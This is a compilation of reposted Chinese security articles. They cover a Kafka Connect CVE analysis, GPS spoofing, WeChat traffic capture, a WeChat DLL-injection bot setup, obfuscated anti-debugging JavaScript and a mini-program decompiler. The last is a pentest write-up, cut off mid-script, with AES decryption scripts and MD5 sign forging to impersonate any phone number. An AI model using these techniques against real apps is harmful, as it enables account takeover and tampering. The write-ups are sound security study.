CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

本文转自 hahaha123 并作补充

一、漏洞成因

该漏洞源于Apache Kafka Client在配置SASL/OAUTHBEARER连接时,对sasl.oauthbearer.token.endpoint.url和sasl.oauthbearer.jwks.endpoint.url参数的安全控制存在缺陷。攻击者可通过构造恶意URL参数,利用该缺陷实现任意文件读取或发起SSRF请求(访问非预期目标地址)。

二、影响版本

3.1.0 <= Apache Kafka <= 3.9.0

三、漏洞复现

image

image

四、漏洞分析

根据漏洞触发点所对应的路由 connectors,可定位至以下相关代码:

image

147-152行代码对传入的信息处理,以及创建示例等,漏洞入口是:

1
herder.putConnectorConfig(name, configs, createRequest.initialTargetState(), false, cb);

继续跟进putConnectorConfig方法,
这里会跟到两个类:StandaloneHerderDistributedHerder,之前说的修复点也确实是这里,基本可以确定这是入口点,我们看DistributedHerder

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public void putConnectorConfig(final String connName, final Map config, final TargetState targetState,
final boolean allowReplace, final Callback&gt; callback) {
log.trace("Submitting connector config write request {}", connName);
addRequest(
() -&gt; {
doPutConnectorConfig(connName, config, targetState, allowReplace, callback);
return null;
},
forwardErrorAndTickThreadStages(callback)
);
}

继续跟进doPutConnectorConfig方法,这里的config,就是先前connector路由传的json数据

image

然后跟进validateConnectorConfig方法

image

image

进入validateConnectorConfig方法,到现在,逻辑检验都是普通的,所以就不多赘述了,继续跟进

image

调用了:

1
2
3
protected Connector getConnector(String connType) {
return tempConnectors.computeIfAbsent(connType, k -&gt; plugins().newConnector(k));
}

利用 plugins().newConnector() 动态加载类,例如:MirrorSourceConnector

image

这里可以看到根据json数据的config[‘‘]=*.MirrorSourceConnector调用MirrorSourceConnector这个Connector用于后续的执行

后续跟进的话可以看到通过反射调用Connector:

1
Class&lt;?&gt; klass = loader.loadClass(classOrAlias, false);

回到AbstractHerder类,继续分析接下来的逻辑

image

接下来就是确定connectorType为sink or source,然后对数据进行处理等,可以自己看

image

java config = connector.validate(connectorProps);
跟进:

1
2
3
4
5
6
7
8
@Override
public org.apache.kafka.common.config.Config validate(Map props) {
List configValues = super.validate(props).configValues();
validateExactlyOnceConfigs(props, configValues);
validateEmitOffsetSyncConfigs(props, configValues);

return new org.apache.kafka.common.config.Config(configValues);
}

接下来进入到validate验证阶段,这里就很绕了,我们知道是MirrorSourceConnector这个Connector创建了Tasks,所以他肯定要进到这个方法

image

可以看到过了validate初始验证,进入到start方法,继续跟进,由于漏洞触发点是认证相关,我们断点在认证的各个方法,一个一个看

image

这里进入到认证阶段forwardingAdmin

image

实例化ForwardingAdmin实现类

image

通过json数据中的值:

1
2
3
"****": "SASL_PLAINTEXT",
"****": "OAUTHBEARER",
"****": "****.OAuthBearerLoginCallbackHandler",

来调用相关认证方法,然后调用create方法(漏洞触发点)

image

通过

1
URL tokenEndpointUrl = cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL);

获取json中的sasl.oauthbearer.token.endpoint.url,继续跟进

image

这里可以看到java accessTokenRetriever.retrieve();返回了文件信息,我们向上追踪

image

发现需要传参,全局搜new FileTokenRetriever(

image

发现就在Create方法内,尴尬……

好,利用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[1] 用户提交 Connector 配置请求(HTTP API)
|
|--&gt; REST API: Connect REST `/connectors` 接口处理 connector 配置
|
[2] WorkerConfig / ConnectorConfig 解析配置(Map)
|
[3] validateConnectorConfig(...) 进行 connector 配置验证
|
[4] connector.config() -&gt; 返回 ConfigDef
|
|--&gt; connector.validate(...)(触发 MirrorSourceConnector.validate())
|
|--&gt; validateExactlyOnceConfigs(...)
|--&gt; validateEmitOffsetSyncConfigs(...)
|
[5] connector.start(props)
|
|--&gt; new MirrorSourceConfig(props)
|
|--&gt; super(props) --&gt; AbstractConfig 初始化
|
|--&gt; createAdmin(...)(构造 ForwardingAdmin)
|
|--&gt; forwardingAdmin(config)
|
|--&gt; get(FORWARDING_ADMIN_CLASS)
|--&gt; Utils.newParameterizedInstance(...)
|
|--&gt; KafkaMirrorMakerClientBasedAdmin.create(...)
|
|--&gt; OAuthBearerLoginModule / SaslClientAuthenticator 初始化
|
|--&gt; AccessTokenRetriever.create(...)
|
|--&gt; cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL)
|
|--&gt; protocol == "file" ?
--&gt; new FileTokenRetriever(Path)
|
|--&gt; init()
|
|--&gt; Utils.readFileAsString(path)
|
|--&gt; Files.readAllBytes(...)

查看文件结果看这个路由:

image

获取statusBackingStore中对应Connector的tasks,结果就在tasks[‘trace’]里,可以自己看看这个的逻辑,这里就不多说了

环境搭建

下载3.9.0源码包
gradle构建一下,然后运行命令:

1
2
3
./bin/zookeeper-server-start.sh config/zookeeper.properties
./bin/kafka-server-start.sh config/server.properties
./bin/connect-distributed.sh config/connect-distributed.properties

这里的connect-distributed.sh如果需要用idea调试的话,最好在里面加上debug,用idea的jvm连接

五、修复方式

Standalone模式:修改connect-standalone.properties中的listeners或rest.host.name字段Distributed模式:修改connect-distributed.properties中的listeners或rest.host.name字段使用流量防护设备(如WAF、防火墙)拦截/connectors接口请求中携带敏感文件路径的恶意流量

END

DIFF一下,一眼就能发现3.9.1对uri进行了校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
// AccessTokenRetrieverFactory.java
public static AccessTokenRetriever create(Map<String, ?> configs, Map<String, Object> metadata) {
ConfigurationUtils cu = new ConfigurationUtils(configs);
cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL); // 新增校验
// ...原有逻辑
}

// VerificationKeyResolverFactory.java
public static VerificationKeyResolver create(Map<String, ?> configs) {
ConfigurationUtils cu = new ConfigurationUtils(configs);
cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_JWKS_ENDPOINT_URL); // 新增校验
// ...原有逻辑
}

漏洞点就是这个。好啦,结束。高中生,菜勿喷。

iPhone 定位怎么改?教你用 iToolab AnyGo更改目前 GPS 位置 (免越狱)

iPhone 定位怎么改?教你用 iToolab AnyGo更改目前 GPS 位置 (免越狱)

本文转自 分治实践 并作补充

如果你希望能更改iPhone 目前位置的定位,或者想呈现出iPhone GPS 定位在两点、多点之间移动的感觉,那么本篇要介绍的这款定位修改软体 iToolab AnyGo就是一个很棒的选择。

iToolab AnyGo 支持Mac 及Windows,只要在电脑上设定好即可免越狱快速更改iPhone/iPad 目前位置及移动路线

image

iToolab AnyGo 功能

  • 传送模式:一键更改iPhone/iPad GPS 定位
  • 两点路线:设定A 点及B 点,并自动移动位置
  • 多点移动:设定多个地点,并自订移动位置
  • Joystick 直控移动:使用左下角的摇杆直接控制即时移动方向
  • GPX 档汇入:可汇入GPX 路径档,模拟既定路线
  • 支持多部iOS 设备:可同时修改或模拟多台iPhone 的路线
  • 支持Windows、Mac

如何通过iToolab AnyGo 更改iPhone/iPad GPS 定位?

下载iToolab Anygo

在开始使用前,请前往iToolab 官网下载「AnyGo」应用程式,无论你的电脑是Mac 或Windows 都可以下载相对应的版本。

下载完成后,开启AnyGo,直接点选「开始」。

image

连接iOS 设备与电脑

接着,使用传输线将iOS 设备与电脑连接起来,并解锁iPhone 或iPad。

image

AnyGo 基本功能介绍

进到AnyGo 主画面后,会先显示你目前的位置。接着来介绍一下主画面的基本功能,上方功能列上可以切换三种不同的更改定位模式,包含:单点传送、两点移动与多点路线

而下方可以让我们自由调整定位的移动速度,从步行到开车。

image

如何更改iPhone/iPad 单点定位?

步骤 1

如果你现在是在A点,你想直接将目前的iPhone 定位瞬间切换到B点,那么这时候就适合使用单点传送。首先请将模式切换到「传送模式」,然后输入你想前往的位置并选择正确的地点后,按一下「搜索」。

地图上的图钉会移动到该地方,确认后按一下「移动」。

image

步骤 2

然后地图上的定位就会瞬间移动到你所设定的地点,此时你可以开启iPhone 的地图App或Google Maps,你会发现自己的目前位置、GPS 定位也都换成该地点。

这样就完成了单点的iPhone 定位修改。

image

如何让iPhone/iPad GPS 定位在两点移动?

步骤 1

如果你想营造出iPhone 定位从A点慢慢移动至B点的感觉,那么请切换到中间的「两点路线」模式。然后一样输入你想前往的地点后,按一下「移动」。

记得底部可以更改移动的速度,看你希望是步行或者开车的速度。

image

步骤 2

然后这边会显示从A点到B点的移动距离及移动时间,甚至你也可以更改次数来重复来回移动,确认后点选「移动」。

image

步骤 3

最后,AnyGo 地图上就会显示你正在朝着B点移动的画面,此时若你开启iPhone 的地图App或Google Maps,也会发现自己的定位正在移动中。

image

如何让iPhone/iPad 定位在多点移动?

步骤 1

如果两点移动还不够的话,我们也可以在AnyGo 中使用多点移动,自由指定多种路线与地点。首先请将模式切换到「多点路线」。

image

步骤 2

然后直接在地图上按一下你要走的路线,像下图这样,最后确定目的地后,点选「移动」即可开始更改定位。

image

步骤 3

地图上及iPhone 定位就会照着你设定的路线在多点间移动。如果你开启iPhone 上的地图App(Apple 地图或Google 地图),也会看到目前位置正在朝你指定的路线移动。

image

如何使用Joystick 直控移动?

除了手动输入地点来更改iPhone 位置之外,我们也可以使用软体内建的「Joystick 直控移动」功能,直接操控左下角的摇杆来即时控制移动方向,不仅比较即时,也能做到比较细微的方向变化,对玩家来说相当实用。

image

控制时,iPhone 的定位也会自动跟着你所控制的方向来移动。

image

如何同时更改多部iOS 设备的定位?

AnyGo 甚至还支持同时更改多部iPhone 的定位,一样先将其他部iPhone 与电脑连接起来,然后点选AnyGo 右下方的「手机」图示即可侦测,接着在「多设备管理」这边就会出现所有的iOS 设备。

完成后设定你想更改的定位并开始移动。

image

例如我将iPhone 11 与iPhone 8 都连接到电脑,并在AnyGo 内设定好想移动的路线,开始移动后这两支iPhone 就会同时更改定位,相当强大。

image

总结

iToolab AnyGo 这款iPhone、iPad 定位修改软体能让我们自由地更改GPS 定位,无论是要瞬间将位置改到另一个地点,或者希望有两点或多点移动,这款软体都很容易操作,使用上也很简单

基于wireshark对网页版微信抓包和ios微信抓包分析

基于wireshark对网页版微信抓包和ios微信抓包分析

本文转自 hjsz 并作补充

网页版微信

分析过程

  • 先查看本机的IP地址

image

  • 打开浏览器准备登录微信网页版。扫码的时候查看抓的包,其中有个DNS数据包询问extshaort.weixin.qq.com的IP地址。

    image

    • 查看这个报文的具体内容,发现这是一个DNS查询报文,DNS查询报文为标准查询即通过主机名查询对应的IP

      image

    • 查询本机网络信息得知,本地DNS服务器地址为192.168.31.1

      image

    • 下面是DNS回复报文,从DNS回复报文中可以看出网页版微信的IP地址有多个,为了应对大流量的访问包括避免宕机影响业务,大企业或者大型服务都会有多个服务器。

      image

    • 从接下来的报文中可以看出用户选择了223.166.152.101这个服务器进行访问连接。因为DNS查询后有一定数量的TCP数据包是本机与223.166.152.101之间的

      image

  • 分析上述提到的TCP数据包(三次握手过程)

    • 从下图流量包看到了源IP是本机IP,目的IP为DNS返回的其中一个IP。分析TCP报文内容,看到了目的Port为80即常见的HTTP协议的端口。然后标志位 SYN置1,为TCP三次握手中的第一步。说明本机正常通过TCP与微信的服务器建立连接。

      image

    • 下图流量包是服务器回复的报文。其中确认号ACK=x+1,x为请求报文中的0,syn = 1,表示客户端的请求报文有效,服务器可以正常接收客户端发送的数据,同意创建与客户端的的新连接。

      image

    • 客户端收到服务器回复的报文后得知服务器允许建立连接,此时客户端还会再发送一个TCP报文,这个数据包的seq = x+1=1,ack还是为1。表明可以建立连接了。接下来的就是双方的数据传输。

      image

  • 三次握手后建立连接后客户端向服务器发送了一个 HTPP post报文,客户端开始提交数据。看HTTP的内容,request URI,而这个URI为…./getloginqrcode,是微信登录的二维码。

    image

    image

  • 扫码登录

    • 登录后有大量的TCP数据包及HTTP POST和HTTP响应数据包。从这里可以看出这时候与登录前的服务器IP不同,但是都是之前DNS返回的IP之一。这种大型业务不同的服务器承载着不同的业务需求。

      image

    • 客户端向微信服务器请求同步数据等数据传输的HTTP。

      image

      image

  • 加密协议。微信使用了应用层与传输层之间的SSL/TLS协议进行数据加密。

    • Client Hello开始客户端向服务器发送建立连接的请求:(版本号,随机数等)

      image

      image

  • Server Hello,根据请求中携带的内容建立连接版本,加密套件,生成服务器端随机数。

    image

  • 服务器向用户发送由CA签发的证书,验证身份。(Certificate,server Key exchange等)

    image

    image

  • Change Cipher Spec(通知)

    image

  • 通信建立

  • 消息测试

    • 给好友传一张照片

    • 抓包发现还是原来的建立通信的过程

      image

    • 抓包发现了HTTP请求报文,是关于uploadmsgimg的,即上传图片。

      image

IOS端微信抓包分享

开始进行了网页端的微信抓包分析,正好手头有个IPAD,就试了一下IOS端的,还请各位多多指教

分析

  • 用PC作为一个无线AP,让移动端接入。查看移动端的IP和MAC地址。

    image

  • 将wireshark绑定在这个无线接口,进行抓包分析。还是先通过DNS查找微信的服务器IP。IP地址和之前的类似。116.128开头。

    image

  • 获得登录二维码,在获得二维码过程中,终端和121.51.73.100进行了大量的TCP通信。

    image

    • 观察其中一个报文,发现了之前不太了解的字段SACK。在网上查找相关知识,得知这个字段可以告诉发送方哪些报文段丢失,哪些报文段重传。根据这些信息,发送方可以重传这些真正丢失的字段。

      image

  • 登录。经过网上查找发现微信客户端用的是自己改进的mmtls协议。也抓到了相关的mmtls POST数据包。

    • 在刷新微信列表的时候发现有大量的TCP包和其中的HTTP请求包。以下面这个为例:
      开始有个HTTP Get,应该是下载某个数据,然后服务器向用户发送多个TCP 后,最后接上一个HTTP OK(JPEG JFIF Image)。

      image

    • 一般来说TCP可以发1500个字节,减去40字节的头文件就还有1452个字节,所以一般大于1452TCP也会分段。如上图,一个TCP中包含1440字节数据。
      TCP segment of a reassembled PDU,TCP层收到上层大块报文后分解成段后发出去。

      image

    • 比如下面几个报文的ACK是相同的,正是分段后的结果。

      image

    • 下图是最后的HTTP OK报文,其中包含了之前6个TCP的数据,让我想起了之前做的IP分片,最后也是ICMP重组所有分片。

      image

    • 看到JPEG就知道应该是关于图像数据的GET传输,找到最后的HTTP OK 报文。找到了JPEG File数据段。当时看到了开头的FF D8,就抱着试试看的态度去找了一下JPEG文件的文件格式,发现正是是开头FF D8,结尾是FF D9,数据段也符合。就想着将数据取出生成JPEG文件。

      image

      image

    • 用python将Hex 串写入一个文件并以图片形式存储到本地。

      1
      2
      3
      4
      5
      6
      7
      8
      import binascii
      # payload为十六进制字符串,如:“ffd8ffe111e0457869...”;经过如下代码转换,可将pic存储为图片形式并可以正常打开
      filepath = "C:\\Users\\14112\\Desktop\\yang\\a.jpg"
      payload = "FF D8......FF D9" #只取了文件头和尾,数据太长
      f=open(filepath,"ab") # filepath为你要存储的图片的全路径
      pic = binascii.a2b_hex(payload.encode())
      f.write(pic)
      f.close()
    • 发现生成的图片可以打开

      image

  • 生成了上述图片就去微信列表找头像,发现下面这个群头像正是从抓到的报文中提取出的十六进制数据生成的。

    image

  • 了解到微信使用的是基于TLS的mmtls,能力有限,就不再分析腾讯未公开的协议了。原有的加密是存在业务层,加密的是请求包主体,但是数据包包头是明文,其中还包括用户的id等信息,而且加密的安全性也都待加强,所以腾讯开发了保护Client到Server之前所有网络通信数据、而且加密通信保护对业务开发人员透明的安全通信协议即mmtls。

总结

  • 现在我们使用的PC以及移动网络设备每时每刻都运行着各种服务,也和非常多的服务器之间进行数据包的传输,但是基本离不开TCP/IP 还有HTTP等常见的协议。感觉在真实的网络环境抓包比在GNS3上最难的就是无法排除其他服务数据包的干扰,在本机可能一打开wireshark就出现了大量的数据包,所以这时候wireshark使用技巧就尤为重要,学会过滤报文。
    分析微信的通信过程中服务器的IP会发送变化,也许是不同的业务使用不同的服务器,开始的时候需要分析DNS,因为开始主机会查询相关服务器的IP地址,从DNS中也可以看出一项大型服务会使用多个服务器,多个IP来保证业务正常。Web版应用基于TLS的加密也表现了web版应用存在一定不安全性。通过协议分析和实操也发现了自己真的很菜,还有很多要做要学的。

微信3.9.8.25机器人(Hook注入)搭建教程文档

微信3.9.8.25机器人(Hook注入)搭建教程文档

本文转自 唯一Chat 并作补充

开源地址

https://github.com/ttttupup/wxhelper 微信破解dll

https://github.com/nefarius/Injector 注入工具

https://github.com/tom-snow/wechat-windows-versions/releases 微信历史版本

基本原理

启动指定版本PC微信以后,利用注入程序将dll文件注入到微信进程内,可以截获所有的新消息,传递给外部接口,并提供发送消息的端口供外部程序调用。

安装微信

请安装资源包中提供的指定版本微信

安装完成后,请图标上右键【以管理员身份运行】启动微信,正常扫码登录微信

注入微信进程

点击电脑左下角启动图标,搜索【cmd】,点击【以管理员身份运行】

切换到程序包目录下,比如程序包目录在 D:\software

先切换到D盘,输入D:

1
C:\Windows\System32>D:

再切换到software ,输入 cd software

1
D:\>cd software

粘贴并运行以下命令

1
Injector.exe -n WeChat.exe -i  wxhelper3.9.8.25.dll

以上操作完成后,微信进程会提供出收发消息接口

自行开发监听程序收取消息,处理消息和发送消息

接口文档

https://github.com/ttttupup/wxhelper/blob/main/doc/3.9.5.81.md

禁止别人调试自己前端代码的 5 种方法

禁止别人调试自己前端代码的 5 种方法

本文转自 Toypipi 并作补充

无限 debugger

前端页面防止调试的方法主要是通过不断 debugger 来疯狂输出断点,因为 debugger 在控制台被打开的时候就会执行。由于程序被 debugger 阻止,所以无法进行断点调试,所以网页的请求也是看不到的。 以下是使用无限 debugger 方式阻止代码调试的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 基础禁止调试代码
*/
(() => {
function ban() {
setInterval(() => {
debugger;
}, 50);
}
try {
ban();
} catch (err) {}
})();

不过,如果仅仅是加上面那么简单的代码,对于一些技术人员而言作用不大。可以通过控制台中的 Deactivate breakpoints 按钮或者使用快捷键 Ctrl + F8 关闭无限 debugger。这种方式虽然能去掉碍眼的 debugger,但是无法通过左侧的行号添加 breakpoint。

禁止断点的对策

如果将 setInterval 中的代码写在一行,就能禁止用户断点,即使添加 logpoint 为 false 也无用。当然即使有些人想到用左下角的格式化代码,将其变成多行也是没用的。

1
2
3
4
5
6
7
8
9
10
(() => {
function ban() {
setInterval(() => {
debugger;
}, 50);
}
try {
ban();
} catch (err) {}
})();

忽略执行的代码

可以通过添加 add script ignore list 需要忽略执行代码行或文件,也可以达到禁止无限 debugger。 不过,我们可以通过将 debugger 改写成 Function (“debugger”)(); 的形式来应对,Function 构造器生成的 debugger 会在每一次执行时开启一个临时 js 文件。当然使用的时候,为了更加的安全,最好使用加密后的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 加密前
(() => {
function ban() {
setInterval(() => {
Function("debugger")();
}, 50);
}
try {
ban();
} catch (err) {}
})();

// 加密后
eval(
(function (c, g, a, b, d, e) {
d = String;
if (!"".replace(/^/, String)) {
for (; a--; ) e[a] = b[a] || a;
b = [
function (f) {
return e[f];
},
];
d = function () {
return "w+";
};
a = 1;
}
for (; a--; )
b[a] && (c = c.replace(new RegExp("\b" + d(a) + "\b", "g"), b[a]));
return c;
})(
'(()=>{1 0(){2(()=>{3("4")()},5)}6{0()}7(8){}})();',
9,
9,
"block function setInterval Function debugger 50 try catch err".split(" "),
0,
{}
)
);

终极增强防调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(() => {
function block() {
if (
window.outerHeight - window.innerHeight > 200 ||
window.outerWidth - window.innerWidth > 200
) {
document.body.innerHTML = "检测到非法调试,请关闭后刷新重试!";
}
setInterval(() => {
(function () {
return false;
})
["constructor"]("debugger")
["call"]();
}, 50);
}
try {
block();
} catch (err) {}
})();

其他防调试技术

除此之外,我们还可以通过【禁止右键菜单】、【禁止 F12 快捷键】、【检测开发者工具】等手段来禁止调试。

禁止右键菜单

禁止右键菜单是目前比较常见的一种禁止调试的方法,因为浏览器默认右键菜单是可以调出开发者工具的。可以通过以下 JS 代码实现:

1
2
3
document.oncontextmenu = function () {
return false;
};

这样一来,当用户在富文本编辑器的区域内右键时,就不会弹出菜单,从而避免了用户调出开发者工具的情况。

禁止 F12 快捷键

F12 快捷键是打开开发者工具的常用快捷键,禁止这个快捷键也是一种禁止调试的方法。可以通过以下 JS 代码实现:

1
2
3
4
5
document.onkeydown = function (e) {
if (e.keyCode === 123) {
return false;
}
};

这样一来,当用户按下 F12 键时,就会被拦截,从而避免了用户打开开发者工具的情况。

检测开发者工具

还有一种方法是通过检测开发者工具是否打开来实现禁止调试的目的,可以通过以下 JS 代码实现:

1
2
3
4
5
setInterval(function () {
if (typeof console.clear !== "undefined") {
location.reload();
}
}, 1000);

这段代码会每隔 1 秒检测一次当前页面是否打开了开发者工具,如果发现开发者工具已经打开,则会刷新当前页面,从而避免用户使用开发者工具对页面进行调试。

PC小程序反编译工具之unveilr 2.0 免费版

PC小程序反编译工具之unveilr 2.0 免费版

本文转自 小夏 并作补充

由于新版要收费,此版本为unveilr 最后的免费版,留存一下

安装方法

1. 下载可执行文件 【这是一个命令行工具,windows上双击是不行的】

参数详解

  • 子命令是为了后续集成别的平台小程序解包功能
  • 子命令默认为 wx
子命令 参数 解释
-l, --log-level <level> 设置日志等级 debuginfowarnerror 默认 info
-v, --version 打印版本号并退出
wx <packages...> wxapkg的路径,可以是多个,也可以是一个目录
wx -i, --appid <appid> 解密windows上的 wxapkg时需要提供🔥已经支持自动从路径中提取
wx -f, --format 是否需要格式化解析出来的代码
wx --no-clear-decompile 不清除反编译时的残留文件
wx --no-clear-save 不清除之前的编译结果
wx --no-parse 只提取wxapkg中的文件,不进行反编译
wx -d, --depth <depth> 设置从目录中查找wxapkg的深度默认: 1 设置为0时不限制深度
wx -o, --output <path> 设置反编译输出目录
wx --clear-output 当输出目录不为空时程序将终止,提供该参数表示强制清空输出目录

使用示例

  • 如果路径有空格必需加引号
1
2
3
4
5
6
7
8
9
10
# 直接解包整个目录
unveilr.exe "/path/to/wxapkg/dir/"
# 解多个包
unveilr.exe "/path/to/1.wxapkg" "/path/to/2.wxapkg" ...
# 指定wx子命令并指定微信AppId
unveilr.exe wx -i wx11aa22bb33cc44dd "/path/to/wxapkg/dir/"
# 格式化解析出来的代码
unveilr.exe wx -f "/path/to/wxapkg/dir/"
# 只提取源文件不解析进行反编译
unveilr.exe wx --no-parse "/path/to/wxapkg/dir/"

反编译小程序、数据加密解密、sign值绕过

反编译小程序、数据加密解密、sign值绕过

本文转自 sys0ne 并作补充

在一次渗透测试中对客户的小程序进行测试,一抓包就发现重重加密数据,在手机号一键登录数据包中发现泄露了session_key值,但是进行加密处理过,那就反编译小程序进行解密尝试。

反编译小程序

在点击该小程序时,C:\Users\xxx\Documents\WeChat Files\Applet在该目录下下会生成一个新的目录,最好时只留下面两个目录。

image

image

在生成的目录下找到__ APP __.wxapkg文件,使用UnpackMiniApp.exe进行解密,重新生成一个wxapkg文件

image

将生成的wxapkg文件拖到wxapkgconvertor.exe进行反编译,就会在wxapkg文件目录下生成一个新的文件夹,使用微信开发者工具打开就可以看到小程序的源码了

image

image

解密AES函数

发现存在数据加密,编译小程序,分析源码

image

对小程序进行调试,直接全局搜AES字段,发现 AES 的加密密钥硬编码在源代码中。

decryptByAes 是一个用于解密的函数,它使用 AES算法解密输入的密文,返回明文。解密过程需要密文、密钥和初始化向量(IV),并使用 CBC 模式和 PKCS7 填充。

image

根据默认密钥编辑 python 脚本(通用脚本,直接替换key或iv即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

def decrypt_by_aes(encrypted_hex, key_hex=None, iv_hex=None):

# 默认 Key 和 IV
DEFAULT_KEY_HEX = "31323334353??/414243444566"
DEFAULT_IV_HEX = "3031323334???43444546"

# 如果没有传入 Key 或 IV,使用默认值
key_hex = key_hex if key_hex is not None else DEFAULT_KEY_HEX
iv_hex = iv_hex if iv_hex is not None else DEFAULT_IV_HEX

# 将 Hex 字符串转换为 bytes
key = binascii.unhexlify(key_hex)
iv = binascii.unhexlify(iv_hex)
encrypted_data = binascii.unhexlify(encrypted_hex)

# 初始化 AES-CBC 解密器
cipher = AES.new(key, AES.MODE_CBC, iv)

# 解密并去除 PKCS7 填充
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

# 返回 UTF-8 解码后的明文
return decrypted_data.decode('utf-8')


# 示例用法
if __name__ == "__main__":
encrypted_hex = "30313233343536373839414243444546"

try:
decrypted_text = decrypt_by_aes(encrypted_hex)
print("解密结果:", decrypted_text)
except Exception as e:
print("解密失败:", str(e))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii

def encrypt_by_aes(plaintext, key_hex=None, iv_hex=None):
DEFAULT_KEY_HEX = "31323334353??/414243444566"
DEFAULT_IV_HEX = "3031323334???43444546"

# 如果未提供 key_hex 或 iv_hex,使用默认值
key_hex = key_hex if key_hex is not None else DEFAULT_KEY_HEX
iv_hex = iv_hex if iv_hex is not None else DEFAULT_IV_HEX

# 将十六进制字符串转换为字节
key = binascii.unhexlify(key_hex) # 32 字节密钥
iv = binascii.unhexlify(iv_hex) # 16 字节 IV

# 将明文转换为字节(UTF-8 编码)
plaintext_bytes = plaintext.encode('utf-8')

# 初始化 AES-CBC 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)

# 添加 PKCS7 填充并加密
padded_data = pad(plaintext_bytes, AES.block_size) # PKCS7 填充
ciphertext = cipher.encrypt(padded_data)

# 将密文转换为十六进制字符串
ciphertext_hex = binascii.hexlify(ciphertext).decode('utf-8')

return ciphertext_hex

# 示例用法
if __name__ == "__main__":
# 测试数据
plaintext = "Hello, World!"
try:
# 使用默认密钥和 IV 加密
encrypted_default = encrypt_by_aes(plaintext)
print("加密结果:", encrypted_default)

except Exception as e:
print("加密失败:", str(e))

image

1
encryptedData=1b39aaa7b79f513b2958b671d8b8ad700ce3788963bc8ae3f91b61588cb963f05397695b3405dd75b2b91bc8e922d6918818e0d7eea3a835847b34b998bf5adf892fa1b41a193365a52970d063de10cb2d920aa066695d3187377a63c8efc0db1133cbcbb0f3d4c5def03e4c045a52f1c4401dbf23023e890a37c86773821b698a3f4f82d89840c33c14c0701cc8854b495e9c187106f7c265cd2fae34f320413adcff074bde1f189007c91a451054eee26ad058f3cdc74c67eba9f61ea1e010667b714c4d114559d14e8c9e2afb5c478c44d26c11de9bb88b1ec8e27f48269c&iv=b9d1b5783b906c84d20ae0b1ac1373c9d65e85bafb3922801b1f4681aadb8267&sessionKey=5a556c5a8288afd815bd6ef2a96ddf2e2e7b795abbc4304ac333a2352296d2e9&openId=c9731afaa0966e3778383bfb7bfa58f25ae50bd3edf21082414af311ea9fdb92&thirdType=56e32732df18962b0dab4454799fdd64&encryptFlag=1&timeHashPf=1744596343852&sign=01EC6E15CCE27E17FC5D5E58C1430E96

通过脚本解密出encryptedData、sessionKey、iv 值。

image

获得原始数据。

image

绕过sign值校验

修改手机号,改为任意用户的手机号,在进行加密处理,但是存在 sign 值校验,可以看到sign值时md5加密,不可逆,但是我们可以了解sign值的加密流程,修改数据重新加密sign值,然后替换sign值,进行绕过。

全局搜索sign,分析源码中的 setsigntrue 函数

image

1
2
3
4
5
6
7
setSignature: function(t) {
var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : "", a = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : "", i = "";
for (var o in n) t[o] = n[o];
var s = this.objKeySort(t);
for (var u in s) i = "".concat(i).concat(u, "=").concat(t[u]);
return i += "".concat(r).concat(a), e.MD5(i).toString().toUpperCase();
},

这个函数接受四个参数:t,n,r,a。根据代码,t是主要的参数,n是可选参数,默认是空对象,r和a也有默认值。函数内部首先将n的属性合并到t中,也就是说,n中的键值对会被添加到t对象里。然后,它调用this.objKeySort(s),这里的s是处理后的t对象。objKeySort的作用是对对象的键进行排序,返回一个排序后的新对象。接下来,函数遍历排序后的对象s,将每个键值对以“key=value”的形式拼接成字符串i。然后,i后面拼接上r和a,最后对这个拼接后的字符串进行MD5加密,并转换为大写字符串返回。

  1. 将传入的n参数合并到t对象中,也就是把额外的参数添加到t里。
  2. 对t对象的所有键进行排序,得到排序后的对象s。
  3. 遍历排序后的s,将每个键值对拼接成“key=value”的字符串,并将这些字符串按顺序连接起来,形成字符串i。
  4. 在i的末尾添加r和a的值,得到最终的拼接字符串。
  5. 对这个最终字符串进行MD5哈希,并将结果转为大写,作为sign值返回。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib

params = {
"encryptFlag": "1",
"encryptedData": "1b39aaa7b79f513b2958b671d8b8ad700ce3788963bc8ae3f91b61588cb963f05397695b3405dd75b2b91bc8e922d6918818e0d7eea3a835847b34b998bf5adf892fa1b41a193365a52970d063de10cb2d920aa066695d3187377a63c8efc0db1133cbcbb0f3d4c5def03e4c045a52f1c4401dbf23023e890a37c86773821b698a3f4f82d89840c33c14c0701cc8854b495e9c187106f7c265cd2fae34f320413adcff074bde1f189007c91a451054eee26ad058f3cdc74c67eba9f61ea1e010667b714c4d114559d14e8c9e2afb5c478c44d26c11de9bb88b1ec8e27f48269c",
"iv": "b9d1b5783b906c84d20ae0b1ac1373c9d65e85bafb3922801b1f4681aadb8267",
"openId": "c9731afaa0966e3778383bfb7bfa58f25ae50bd3edf21082414af311ea9fdb92",
